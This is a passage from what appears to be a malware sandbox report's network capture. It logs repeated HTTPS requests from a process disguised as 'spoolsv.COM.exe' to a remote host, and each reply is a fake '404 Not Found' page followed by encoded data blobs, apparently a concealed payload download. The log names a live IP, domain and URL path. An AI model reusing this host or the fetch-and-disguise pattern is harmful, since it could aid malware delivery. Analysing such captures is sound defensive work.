2024-12-23 06:38:50 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:38:51 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:38:51 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:38:51 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.10	49904	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:38:52 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:38:54 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:38:54 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
2024-12-23 06:38:54 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:38:54 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:38:54 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:38:54 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.10	49913	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:38:56 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:38:57 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:38:57 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
2024-12-23 06:38:57 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:38:57 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:38:57 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:38:58 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.10	49924	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:38:59 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:39:01 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:39:00 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
2024-12-23 06:39:01 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:39:01 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:39:01 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:39:01 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.10	49932	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:39:03 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:39:04 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:39:04 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
